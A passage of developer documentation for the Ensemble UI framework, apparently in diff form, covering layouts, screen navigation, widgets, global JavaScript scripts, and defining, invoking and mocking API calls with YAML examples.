secondsInput + label: Seconds + value: 28565 + - Button: + label: Convert to hours and minutes + onTap: + executeCode: + body: |- + //@code + results.text = convertSecondsToHours(secondsInput.value); + + - Text: + id: results + +Global: |- + + function convertSecondsToHours (s) { + + console.log(s); + } +``` + +**Output** + +The output can be checked in the logs for browser + +

    +Page Skeleton +

    + +## Putting it together + +This example illustrates almost all the widgets which are integral part of ensemble page structure. It also demonstrates a comprehensive usage of BottomNavBar, onLoad action, API calls and custom widgets. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + inputs: + id: 32GelurbLbd6umj3ULOkAXYSYyq2 + + # Set the view to be scrollable + styles: + scrollableView: true +menu: + BottomNavBar: + styles: + shadowColor: 0xFFFD451C + items: + - icon: home + label: Home + page: Home + selected: true + - label: Favorite + icon: favorite + page: Favorite + - label: Promos + icon: loyalty + page: Promos + - label: Account + icon: account_circle + page: Profile + + # This is the parent widget for all screen content + body: + Column: + styles: + backgroundGradient: + colors: [ 0xFFF4D66C, 0xFFFEFAF3, 0xFFFFFFFF ] + start: topLeft + end: bottomRight + + children: + - UserInfo + - SearchBar + - Categories + - NearbyFood +``` + +#### Output + +

    +Page Skeleton +

    + +> To get hands-on experience with a complete Application, check [Ensemble Studio](https://studio.ensembleui.com/app/iM58Wgr7bgzTxEi7rV40/screen/cYMnCfhOya8Vq1QG6aCC?propertyPanelEnabled=true&instantPreviewDisabled=false) + +--- + +# Layouts + +Ensemble layouts are themselves widgets that contain other widgets. Here is a comprehensive list of Layout widgets with their properties and usage examples in EnsembleUI. + +| Widget | Documentation | Kitchen sink example | +| ------------ | -------------- | ----------------------- | +| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | +| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | +| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | +| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | +| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | +| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | +| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | +| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | +| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | +| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | +| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | +| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | +| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | +| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | +| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | + +--- + +# Screen Navigation + +Ensemble provides two primary mechanism for navigating between screens: + +1. App menu, i.e. the nav bar, as [described here](#menu) +2. Navigation actions, which we will cover here. + +## The navigation stack + +The navigation stack keeps track of the screens as they are pushed and popped off the stack. + +For example, your app could have a home screen, that navigates to listing screen. From the listing user can navigate to a detail screen. When you navigate to a new screen, that screen is pushed onto the top of the stack. + + +![navigation stack](public/images/navigation/nav-navigation-stack.jpg) + +When you navigate back, the topmost screen is popped off the stack, and the previous screen becomes visible Navigation stack follows the Last In, First Out (LIFO) principle, meaning the last screen that was navigated to is the first one to be navigated away from when the user presses the back button. + +![navigation stack](public/images/navigation/nav-navigation-stack-pop.jpg) + +## Navigate Screen action + +[navigateScreen reference](#navigatescreen) + +Use `navigateScreen` action when navigating to a screen. This action will push the target screen on top of the current screen. You can pass inputs to the target screen when performing this action: + +```yaml +- Button: + label: View details + onTap: + navigateScreen: + name: ProductDetails + inputs: + productId: ${product.id} +``` + +![navigation stack](public/images/navigation/nav-navigateScreen.jpg) + + +Optionally, you can set `onNavigateBack` property to perform an action when user goes back to previous screen. + +```yaml +- Button: + label: View details + onTap: + navigateScreen: + name: ProductDetails + inputs: + productId: ${product.id} + onNavigateBack: + showToast: + message: You just returned from product detail screen. +``` + +In use cases where you do not want to allow user to go back to the previous screen, use `clearAllScreens: true` option. This essentially clears the navigation stack. + +```yaml +- Button: + label: SIGN IN + onTap: + invoteAPI: + name: authenticateUser + onResponse: + navigateScreen: + name: Home + options: + clearAllScreens: true +``` + +![navigation stack](public/images/navigation/nav-navigateBack-clearAllScreens.jpg) + + +## Navigate back action + +[navigateBack reference](#action-navigateback) + +Use `navigateBack` to pop the current screen and go the previous screen in the stack. This is the same action that would be preformed when user taps the built-in back button. + +![navigation stack](public/images/navigation/nav-navigateBack.jpg) + +--- + +# Widgets Directory + +Ensemble widgets enable you to build both simple and complex applications. + +### Data display + +| Widget | Documentation | Kitchen sink example | +| ---------------- | ------------------------- | -------------------------------------------------------------------------------------------------------------------------- | +| Text | [Link](#text-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c87f8b09-58e2-4c2f-99a1-cbbe9e25e9a5) | +| Image | [Link](#image-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/7c7a3ffe-68ef-4e99-b9d1-4b5cee166233) | +| Icon | [Link](#icon-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) | +| Avatar | [Link](#avatar-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kJ9eqI5BPL30IwjnEDdJ) | +| Map | [Link](#map-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) | +| QRCode | [Link](#qr-code-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) | +| Video | [Link](#video-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) | +| Lottie animation | [Link](#lottie-animation-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) | +| Markdown | [Link](#markdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) | +| HTML | [Link](#html-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) | +| Webview | [Link](#webview-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) | + +### Layout + +| Widget | Documentation | Kitchen sink example | +| ------------- | --------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | +| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | +| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | +| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | +| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | +| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | +| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | +| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | +| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | +| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | +| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | +| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | +| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | +| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | +| Collapsible | [Link](/pages/widgets/collapsible.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yTFRepwpRQJbvRYaVpRi) | +| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | +| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | +| Shape | [Link](#shape-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Lg2nljyD46n2hiAUlBMP) | +| Slidable | [Link](#slidable-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hDUEQtsqHbuLoegWoyDR) | + +### Forms and inputs + +| Widget | Documentation | Kitchen sink example | +| --------------- | ------------------------------ | -------------------------------------------------------------------------------------------------------------------------- | +| Form | [Link](#form-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3107baf6-dfc3-42cd-b617-61c37b31f31e) | +| TextInput | [Link](/pages/widgets/textinput.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | +| Button | [Link](#button-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) | +| Dropdown | [Link](#dropdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) | +| AutoComplete | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3tBTU9CUTu0IegpytNYa) | +| Checkbox | [Link](#checkbox-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) | +| Switch | [Link](#switch-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) | +| Date | [Link](#date-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) | +| DateRange | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/b45c5576-ec22-4b04-832f-6dd7571dd20f) | +| Time | [Link](#time-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yNHLPObY1wWgCpg0sgoW) | +| PasswordInput | [Link](#passwordinput-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) | +| Signature | [Link](#signature-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/70eb8a13-e7df-4778-b7e6-57df17b032a0) | +| WeeklyScheduler | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/244ce957-98ed-4db8-a5a7-ee587d6dfe0b) | + +### Conditional + +| Widget | Documentation | Kitchen sink example | +| ----------- | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Conditional | [link](#conditional-widget) | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XljPegGrdieyKjy16URC?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) | + +### Feedback + +| Widget | Documentation | Kitchen sink example | +| ------------------ | ---------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | +| Progress indicator | [Link](/pages/widgets/progressindicator.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) | +| Toast message | [Link](#showtoast) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9a576805-019a-4bd3-953f-3c623fbfb905) | + +--- + + +# Script with JavaScript + +Scripts can provide a powerful way to enhance your app's functionality and customize its behavior beyond what can be achieved with declarative configurations alone. + +## When to Use Scripts + +Global Scripts are ideal for situations where you need: + +- **Reusable Logic:** Define functions or variables that can be used across multiple screens or widgets in your app. For example, a function to format dates or calculate totals could be placed in a Global Script for easy access. +- **Data Storage:** Store pre-defined data like user details, color palettes, or API endpoints in a Global Script for consistent use throughout your app. This simplifies updates and avoids code duplication. +- **Custom Logic:** Scripts allow you to Implement complex logic, manipulate data, perform calculations, and interact with external services and APIs. + +## Create a Script +In Ensemble Studio, navigate to your app and select `Scripts` from the left menu. Click the button `Create new script` present at the top right corner of the studio. + +![add language](public/images/scripts/create-script.png) + +Now open the script file and you can use standard JavaScript syntax to define variables and functions and then save the file. + +![add language](public/images/scripts/Add-script-content.png) + +> Ensemble currently supports JavaScript syntax up to ES5. + +## Import the script +In the YAML code for your screen or widget, use the `Import` section to reference the script file. For example: +```yaml +Import: + - Common +``` +## Use the Script +The code example shows how to access variables and functions defined in the Global Script from your screen's YAML code. +```yaml +Import: + - Common + +View: + styles: + backgroundColor: ${colors.snowGrey} # Here we have used color imported from the Common Script. + header: + title: Global scripts + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Run function from Common + styles: + backgroundColor: ${colors.red} # Here we have used color imported from the Common Script. + onTap: + executeCode: + body: | + // Import the getUserFromScript function from the Common script + var thisUser = getUserFromScript(); + + // Now assigning text to the Fields + nameText.text = "Name: " + thisUser.name; + companyText.text = "Company: " + thisUser.company; + + - Column: + children: + - Text: + text: User Details + styles: + textStyle: + color: ${colors.green} + fontSize: 21 + fontWeight: bold + isItalic: true + - Text: # Display user's name + id: nameText + - Text: #  Display user's company + id: companyText +``` +**Explanation:** +1. Accessing Variables from the Script: + + The `backgroundColor` of the view is set using `${colors.snowGrey}`. This references the snowGrey variable defined in the colors object within the Common Script. +Similarly, the `backgroundColor` of the button is set using `${colors.red}`. +2. Accessing Functions from the Script: + + Clicking the button triggers the `onTap` event, which calls the `executeCode` block. Inside the block, the `getUserFromScript()` function (defined in Common Script) is called to retrieve user information. + + The returned data is stored in the `thisUser` variable. To display the user's name, the code constructs a string by combining `"Name: "` with the `name` property of the `thisUser` object. + +--- + + +# Interact with APIs + +The primary mechanism for an Ensemble app to interact with the backend is through APIs. + +The basic flow is: + +- [First, define the APIs you want to call](define-api) +- [Invoke API calls](call-api) on events such as onLoad or onTap +- [Access the API response](access-api-response) +- [Handle errors](api-on-error) + + + +Following capabilities are also available in Ensemble: + + +- [Bind APIs to a template to render a series of widgets](api-item-templates) +- [SSL Configuration](api-ssl-configuration) +- [Chaining API calls](chaining-apis) +- [Websocket](websocket) +- [GraphQL](graphql) + +--- + +# Define APIs + +You define APIs by adding the `API` section to any screen. Note that `API` would be at the root level of the document, i.e. as a sibling to the `View`. + +```yaml +API: + myFirstApi: # a new to refer to this API later + inputs: # specify an array of inputs the API expect. You can reference the inputs in the other API properties, such as the body + uri: # the endpoint to call, e.g. https://dummyjson.com/users/1 + method: # the HTTP method, such as GET, POST, PUT, DELETE, PATCH + parameters: # set the parameters to be passed to the API + manageCookies: # Specify whether to manage cookies automatically for the request. This is only valid for native apps and will be ignored for web apps. Default is false. + headers: # set headers such as authorization tokens + body: # set body, in JSON or YAML, to pass data to the API + onSuccess: # fire an action when the API returns a 2** + onError: # fire an action when the API returns a 4** + + # add more APIs as you need + mySecondApi: +``` + +## GET call without authentication + +For public APIs that do not require authentication, you typically need only the URI and the method. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + +## GET call with bearer token + +APIs might be secured by requiring a token. This token is typically passed as a header parameter named `Authorization`. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET + headers: + Authorization: "Bearer <>" +``` + +## GET call with API key + +Some API providers would issue keys to their customers. Typically, the API provider would require the key to be passed a parameter. Check with API provider documentation on what the name of this parameter is. Here, we use `apiKey` as an example. + +```yaml +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET + parameters: + apiKey: "<>" +``` + +## POST call with data + +Typically you use POST calls with a body to pass data from the frontend to the backend. You can specify the body of the API, and use inputs to pass them dynamically. + +```yaml +API: + addProduct: + inputs: + - productTitle + uri: https://dummyjson.com/products/add + method: POST + body: + title: "${productTitle}" # example of a dynamic data that is set based on the inputs + source: MyApp # example of a static data that is always passed +``` + +--- + +# Invoking APIs, aka calling APIs + +Use `invokeAPI` action to call the APIs you defined. Here are the properties of invokeAPI: + +## API response object +Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | +| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | +| headers | array | Key value pairs of http response headers | +| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | +| cookies | array | A key-value map of cookies received from the API response when manageCookies is enabled | + +## API/invokeAPI properties +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | +| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | + + +invokeAPI can be passed to any event, such as `onLoad`, `onTap`, `onPullToRefresh`, ... using EDL or code. + + +## invokeAPI from EDL + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + # screen body +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + + +## invokeAPI from code (Javascript) + +```yaml +View: + onLoad: | + ensemble.invokeAPI("getUser"); + body: + # screen body +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + + +## Pass inputs to the API (in EDL or in code) + +A common interaction is to pass user provided info from a form to an API. To achieve this, set API inputs by binding to form values. + +Using EDL, set `inputs` property of the `invokeAPI` action. + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: productName + label: Product Name + - Button: + label: Submit + onTap: + invokeAPI: + name: addProduct + inputs: + productTitle: ${productName.value} + +API: + addProduct: + inputs: + - productTitle + uri: https://dummyjson.com/products/add + method: POST + body: + title: ${productTitle} +``` + + +Using code, pass `inputs` as an object. *Note* that you cannot pass `onResponse` and `onError` callbacks to `invokeAPI` in code. You can invoke an API in code and have the `onResponse` and `onError` defined on the API definition itself. + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: productName + label: Product Name + - Button: + label: Submit + onTap: | + ensemble.invokeAPI("addProduct", { + "productTitle": productName.value + }); + +API: + addProduct: + inputs: + - productTitle + uri: https://dummyjson.com/products/add + method: POST + body: + title: ${productTitle} +``` + +--- + +# Access API response body and headers + +You can access an API response through: + +- **API name** set when defining the API +- **API ID** set when invoking the API + +When invoking the same API more than once, the API name will point to the last instance of the API request. If this is not the desired effect, use an ID instead. + + +## Basic GET example + +Here, we use the API name to access the response body. In EDL, expressions are wrapped in `${}` so that Ensemble runtime evaluates the expression. In this case, the expression is referencing the API response body. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + Column: + styles: + padding: 40 + children: + - Text: + text: ${getUser.body.firstName} +API: + getUser: + uri: https://dummyjson.com/users/1 + method: GET +``` + + +## GET array of data and display using a template + +An API response could include an array of objects that the app displays using an `item-template`. Any widget that supports `children` property also supports `item-template`. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + Column: + styles: + padding: 40 + item-template: + data: ${getUser.body.users} + name: user + template: + Text: + text: ${user.firstName} +API: + getUser: + uri: https://dummyjson.com/users/ + method: GET +``` + + +## Using ID to access API response + +When invoking an API, optionally you can assign it an ID. Use this ID when you invoke the API multiple times to access each instance. Here are few examples: + +### 1. Invoking different APIs based on a condition + +The name of the API you invoke could be set based on an input so that you can add conditions on what API to call. In this scenari, you need to use an ID to refer to the API response. + +```yaml +View: + onLoad: + invokeAPI: + name: getMatches + + body: + Column: + item-template: + data: ${getMatchess.body} + name: m + template: + MatchInfo: + inputs: + id: ${m.id} + api: '${m.status == "Finished" ? "getPastMatchDetails" : "getUpcomingMatch"}' + +MatchInfo: + + # use the widget inputs to invoke relevant API and pass the required inputs to the API + inputs: + - id + - api + onLoad: + invokeAPI: + id: matchDetails # use this ID to bind to this API response + name: ${api} + inputs: + id: ${id} + body: + Text: + text: ${matchDetails.body.title} + +API: + + getMatchess: + uri: https://dummyjson.com/matches + method: GET + + getPastMatchDetails: + inputs: + - id + uri: https://dummyjson.com/match/histpry/${id} + method: GET + + getUpcomingMatch: + inputs: + - id + uri: https://dummyjson.com/match/info/${id} + method: GET + +``` + + +### 2. Invoking the same API multiple times + +In these scenarios, the API name, e.g. `${apiName.body...}`, will point to the last instance where that API was invoked. In contrast, the ID will ensure you are referring to the correct instance of the API response within your widget tree. + +Let's consider this scenario: + +1. The app fetches a list of people +2. For each person, the app makes a separate API call to get that person's company info + +```yaml +View: + onLoad: + invokeAPI: + name: getPeople + + body: + Column: + styles: + padding: 24 + children: + - GridView: + styles: + expanded: true + itemHeight: 50 + item-template: + data: ${getPeople.body.users} + name: p + template: + PersonCard: + inputs: + name: ${p.firstName} ${p.lasstName} + company: ${p.company.name} + +PersonCard: + inputs: + - name + - company + onLoad: + invokeAPI: + id: thisCompany # use this ID to refer to bind to this API response + name: getCompanyDetails + inputs: + company: ${company} + body: + Column: + children: + - Text: + text: ${name} + - Text: + text: ${thisCompany.body.name} + +API: + + getPeople: + uri: https://dummyjson.com/users/ + method: GET + + getCompanyDetails: + inputs: + - company + uri: https://dummyjson.com/companies/ + method: GET + parameters: + name: ${company} +``` + +--- + +# onError + +When making API calls, it's crucial to handle errors gracefully to provide a better user experience. When invoking an API, `onError` event is dispatched when the response is a not a success. + +```yaml +View: + body: + Column: + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDo + onResponse: | + apiStatus.text = 'Call was successful'; + onError: | + apiStatus.text = 'API returned an error'; + - Text: + id: apiStatus +``` + +--- + +# Binding APIs to Item Templates + +When developing user interfaces, it's common to display lists of items, and Ensemble simplifies this process by providing the item-template property. This property can be assigned to container widgets like GridView or Carousel and is particularly useful for binding API responses to data-driven UI elements. + +`item-template` takes the following properties: + +- `data`: This should point to an array of data. +- `name`: Set this to a value to reference in the `template`. +- `template`: This is where we define the widgets to render for each item. + +| Property | Type | Description | +| -------- | ------ | ------------------------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | widget | The data row widget to render for each item, it can be a custom widget as well. | + +```yaml +item-template: + data: ${getPeople.body.results} + name: item + template: + Text: + text: ${item.name.first} +``` + +The `data` property of the item-template is bound to the results of the getPeople2 API call (${getPeople2.body.results}). +The `name` property is set to "item," serving as a reference to each item in the array. +The `template` property defines the structure of each item in the list. In this case, it's a Text widget displaying the first name of each person from the API response (${item.name.first}). + +This setup uses the API response from getPeople2 to dynamically generate a list of Text widgets, each displaying the first name of a person from the API response. + +--- + +# Mocking API responses to develop and test your app +A key to developing an app quickly is to build the user interface independently of the back-end. This allows the team building the UI to be unblocked and move fast while also providing actual API payloads to the back-end team to build. Another advantage of this approach is that app could be built quickly with mockdata and be demo'd to customers for feedback. +Ensemble provides a framework for mockng API responses that allow you to do that. You can mock all APIs or some and test with mockdata by simply setting a property. + +- To get hands-on experience with mock APIs, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/UmaRcuduyIZmvOfk9BJu) + +## 1. Setting/unsetting `useMockResponse` +Firstly, to use mock data in your app, it's important to update the global script of the screen, making sure that the API calls are directed to the mock data instead of the actual URL. +```javascript +Global: |- + app.useMockResponse = true; +``` +this sets the `useMockResponse` in the persistent storage but namespaces it by the appId i.e. _useMockResponse. + +For example: +RaRwIu1NasUOUsuJ0OuO_useMockResponse = true; +will be set in storage automatically for an app with id = 'RaRwIu1NasUOUsuJ0OuO' + +you can check the value by just doing - +```javascript +if ( app.useMockResponse ) {...} +``` +By namespacing it, we can ensure that in ensemble live (or studio preview), one app's `useMockResponse` setting is not leaked into another app. + +In theory, you can bind to it as well as it is just another value in the storage. Remember to bind to `_userMockResponse` where should be replaced by your app's id without the <>. for example - RaRwIu1NasUOUsuJ0OuO_useMockResponse + +You can obtain appId for your app anytime by doing - +```javascript +appInfo.appId +``` + +## 2. Specify mock data on the API definitions +Mock data can be specified in 2 different ways, each offering flexibility and customization options to meet your development and testing needs. +### Inline on the API +Below is an example of an API definition, where `mockResponse` property is utilized to specify the inline mock data, which includes a `body` object containing mock data elements such as `title` and `list`. Additionally, response `headers` can be defined to simulate various scenarios. This approach is useful for quickly defining and modifying mock data directly within the API definition. +```yaml + slowAPI: + inputs: + - uniqueId + mockResponse: + #inline mock response + body: + title: I am mock data + list: + - name: mock first + - name: mock second + - name: mock third + - name: ${uniqueId} + #can set response headers as well + headers: + - authToken: absbsbxssjjs + url: https://openlibrary.org/search.json?q=the+lord+of+the+rings + onResponse: |- + console.log('slowAPI='+uniqueId); + response.body.list.push({name: 'adding in onResponse - '+uniqueId}); +``` + +### Return mock data from a function +```yaml + mockDataFromFunction: + inputs: + - uniqueId + mockResponse: ${getMockResponse()} + url: https://openlibrary.org/search.json?q=the+lord+of+the+rings + onResponse: |- + console.log('mockDataFromFunction='+uniqueId); + response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); +``` +The above API `mockDataFromFunction` endpoint utilizes a function to generate and return mock data dynamically. The `mockResponse` property references the `getMockResponse()` function, which is responsible for generating the mock data. The function could be defined either in the `Global` script block on the current screen or in a separate script and imported in. This method offers greater flexibility and allows for more complex mock data generation logic. +```javascript +var abc = 'var abc'; +function getMockResponse() { + return { + body: { + title: 'hello from mockResponse' + abc, + list: [ + {name: 